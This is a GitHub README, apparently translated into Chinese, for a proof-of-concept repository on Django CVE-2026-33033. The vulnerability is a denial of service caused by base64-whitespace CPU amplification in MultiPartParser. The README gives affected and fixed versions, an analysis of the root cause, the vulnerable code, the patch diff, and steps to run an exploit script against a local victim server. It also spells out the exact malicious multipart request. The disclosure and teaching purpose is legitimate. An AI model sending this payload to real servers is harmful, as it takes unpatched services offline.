ch4n3-yoon/CVE-2026-33033-PoC

GitHub: ch4n3-yoon/CVE-2026-33033-PoC

该项目提供了针对 Django CVE-2026-33033 漏洞的概念验证脚本,通过 base64 编码空白字符放大 CPU 占用,实现拒绝服务攻击演示。

Stars: 0 | Forks: 0

# CVE-2026-33033 PoC **通过 Django `MultiPartParser` 中的 base64 空白字符 CPU 放大实现拒绝服务** 单个 2.5 MB 的 HTTP 请求可以占用 Django 工作进程 **~5 秒**,相对于相同大小的正常请求,实现 **~2,100x 的 CPU 放大**。无需身份验证。 ## 受影响版本 此漏洞已在 [Django 6.0.4 安全版本](https://docs.djangoproject.com/en/6.0/releases/6.0.4/)(2026 年 4 月 7 日)中修复,并已向后移植到所有受支持的分支。 | 分支 | 受影响版本 | 修复版本 | |--------|----------|-------| | Django 6.0.x | <= 6.0.3 | **6.0.4** | | Django 5.2.x | <= 5.2.11 | **5.2.12** | | Django 5.1.x | <= 5.1.x | **5.1.16** | | Django 5.0.x | <= 5.0.14 | **5.0.15** | | Django 4.2.x | <= 4.2.28 | **4.2.29** | ### 官方描述 ### Django 6.0.4 中修复的其他安全问题 | CVE | 严重程度 | 描述 | |-----|----------|-------------| | CVE-2026-3902 | Low | 通过下划线/连字符混淆进行的 ASGI 标头欺骗 | | CVE-2026-4277 | Low | `GenericInlineModelAdmin` 中的权限滥用 | | CVE-2026-4292 | Low | `ModelAdmin.list_editable` 中的权限滥用 | | CVE-2026-33034 | Low | 通过缺少 `Content-Length` 绕过 ASGI 内存上传限制 | ## 漏洞概要 Django 的 `MultiPartParser` 有一条特殊的代码路径,用于处理带有 `Content-Transfer-Encoding: base64` 的文件部分。在去除每个块的空白字符后,如果结果不是 4 字节的倍数,while 循环会调用 `field_stream.read(1)` 来逐个获取额外的字节。 当文件主体几乎全为空白字符时,每个获取的字节去除后都为空,因此循环会继续——**每个空白字节调用一次** `read(1)`。关键点在于,每次 `read(1)` 的开销远比看起来要大: ### 三层放大 ``` Layer 1: base64 alignment loop calls read(1) per whitespace byte | Layer 2: LazyStream.read(1) fetches entire leftover (~64 KB), slices 1 byte, ungets ~64 KB - 1 back --> O(C) byte copy per call | Layer 3: unget() does self._leftover = bytes + self._leftover creating a new bytes object each time --> memcpy of ~C bytes ``` 每 64 KB 块,复制工作形成一个等差数列: ``` Total = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2.15 billion byte operations ``` 对于 2.5 MB 的输入(~40 个块):单个 HTTP 请求产生 **~860 亿字节** 的 memcpy 工作。 ### 现有保护措施的绕过 Django 包含 `_update_unget_history()`,如果在 50 次操作中相同字节计数被 unget 40 次以上,它会抛出 `SuspiciousMultipartForm`。然而,在此攻击中,unget 大小是**单调递减的**(65535, 65534, 65533, ...),因此每个大小都是唯一的,该检查**永远不会触发**。 ### 视图前触发 CSRF 中间件在任何视图运行之前访问 `request.POST`,因此即使返回 403 的端点也会产生完整的解析开销。 ## 仓库结构 ``` CVE-2026-33033-PoC/ ├── README.md # This file ├── LICENSE ├── requirements.txt # Python dependencies ├── exploit.py # Exploit script └── victim/ # Vulnerable Django server ├── manage.py ├── uwsgi.ini # uWSGI deployment config └── victim/ ├── __init__.py ├── settings.py # Django defaults (no special config needed) ├── urls.py # /upload and /health endpoints └── wsgi.py ``` ## 复现步骤 ### 1. 克隆并设置 ``` git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git cd CVE-2026-33033-PoC python3 -m venv venv source venv/bin/activate pip install -r requirements.txt ``` ### 2. 启动受害者服务器 **选项 A:Django 开发服务器**(最快) ``` cd victim python manage.py runserver 0.0.0.0:8000 ``` **选项 B:uWSGI**(更真实 — 使用 4 个 workers) ``` cd victim uwsgi --ini uwsgi.ini ``` ### 3. 运行漏洞利用程序 在单独的终端中: ``` source venv/bin/activate python exploit.py --target http://127.0.0.1:8000/upload ``` 选项: | 标志 | 默认值 | 描述 | |------|---------|-------------| | `--target` | `http://127.0.0.1:8000/upload` | 目标上传端点 | | `--size` | `2621440` (2.5 MB) | Payload 大小(字节) | | `--rounds` | `3` | 攻击轮数 | ### 4. 预期输出 ``` ============================================================ CVE-2026-33033 PoC Denial-of-service via base64 whitespace CPU amplification in Django MultiPartParser ============================================================ Target: http://127.0.0.1:8000/upload Payload size: 2,621,440 bytes (2.5 MB) Rounds: 3 [*] Checking server health... [+] Server is up. ------------------------------------------------------------ [*] Phase 1: Sending BENIGN request (normal base64 data) ------------------------------------------------------------ Status: 200 Time: 5.55 ms ------------------------------------------------------------ [*] Phase 2: Sending MALICIOUS requests (base64 + whitespace) ------------------------------------------------------------ Round 1/3: Status: 200 Time: 4571.12 ms ... ============================================================ RESULTS ============================================================ Benign request: 5.55 ms Attack average: 4571.12 ms (over 3 rounds) Amplification: 823x [!] VULNERABLE: Average attack time exceeds 1 second. A single 2.5 MB request ties up a worker for ~4.6s. With 4 workers, just 4 concurrent requests can DoS the server. ``` ## 漏洞利用原理 该漏洞利用程序构造了一个包含单个文件部分的 `multipart/form-data` POST 主体: ``` POST /upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----CVE2026-33033 Content-Length: 2621552 ------CVE2026-33033 Content-Disposition: form-data; name="file"; filename="poc.bin" Content-Type: application/octet-stream Content-Transfer-Encoding: base64 AAA<2,621,433 spaces>A ------CVE2026-33033-- ``` 1. 前导的 `AAA` 使得 `stripped_chunk = b"AAA"`(3 字节),因此 `remaining = 3 % 4 = 3`。 2. while 循环调用 `field_stream.read(1)` 来获取 1 个字节以进行对齐。 3. 每个空格字节去除后都为空(`b"".join(b" ".split()) == b""`),保持 `remaining = 3`。 4. 循环对流中的每个空白字节持续进行。 5. 每次 `LazyStream.read(1)` 内部通过 unget 机制复制约 64 KB 数据。 ## 漏洞代码 `django/http/multipartparser.py`,第 302-325 行(Django 5.0.x): ``` for chunk in field_stream: if transfer_encoding == "base64": stripped_chunk = b"".join(chunk.split()) remaining = len(stripped_chunk) % 4 while remaining != 0: over_chunk = field_stream.read(4 - remaining) # <-- read(1) if not over_chunk: break stripped_chunk += b"".join(over_chunk.split()) # strips to empty remaining = len(stripped_chunk) % 4 # stays at 3 ``` ## 补丁 修复(已应用于 Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29)将逐字节 `read(1)` 循环替换为批量 `read(self._chunk_size)`: ``` - stripped_chunk = b"".join(chunk.split()) + stripped_parts = [b"".join(chunk.split())] + stripped_length = len(stripped_parts[0]) - remaining = len(stripped_chunk) % 4 - while remaining != 0: - over_chunk = field_stream.read(4 - remaining) + while stripped_length % 4 != 0: + over_chunk = field_stream.read(self._chunk_size) if not over_chunk: break - stripped_chunk += b"".join(over_chunk.split()) - remaining = len(stripped_chunk) % 4 + over_stripped = b"".join(over_chunk.split()) + stripped_parts.append(over_stripped) + stripped_length += len(over_stripped) + + stripped_chunk = b"".join(stripped_parts) ``` 主要变更: 1. **`read(4 - remaining)` → `read(self._chunk_size)`** — 每次读取 64 KB 而不是 1-3 字节,将读取调用从约 250 万次减少到约 40 次。 2. **`stripped_chunk += ...` → `stripped_parts.append(...)` + 最终 `b"".join()`** — 避免潜在的二次字节拼接。 3. **`len(stripped_chunk) % 4` → `stripped_length` 计数器** — 避免冗余的长度重新计算。 ## 免责声明 此概念验证代码仅供**教育和授权安全测试目的**提供。请负责任地使用,且仅针对您拥有或已获得明确测试许可的系统。 ## 许可证 Apache License 2.0 — 参见 [LICENSE](LICENSE)。
标签:Base64, CPU放大, CVE-2026-33033, Django, DoS, GitHub Advanced Security, Go语言工具, HTTP请求, Linux取证, Maven, MultiPartParser, PoC, Python, ReDoS, Web安全, 安全加固, 拒绝服务, 无后门, 暴力破解, 漏洞验证, 网络安全, 蓝队分析, 资源耗尽, 逆向工具, 配置错误, 隐私保护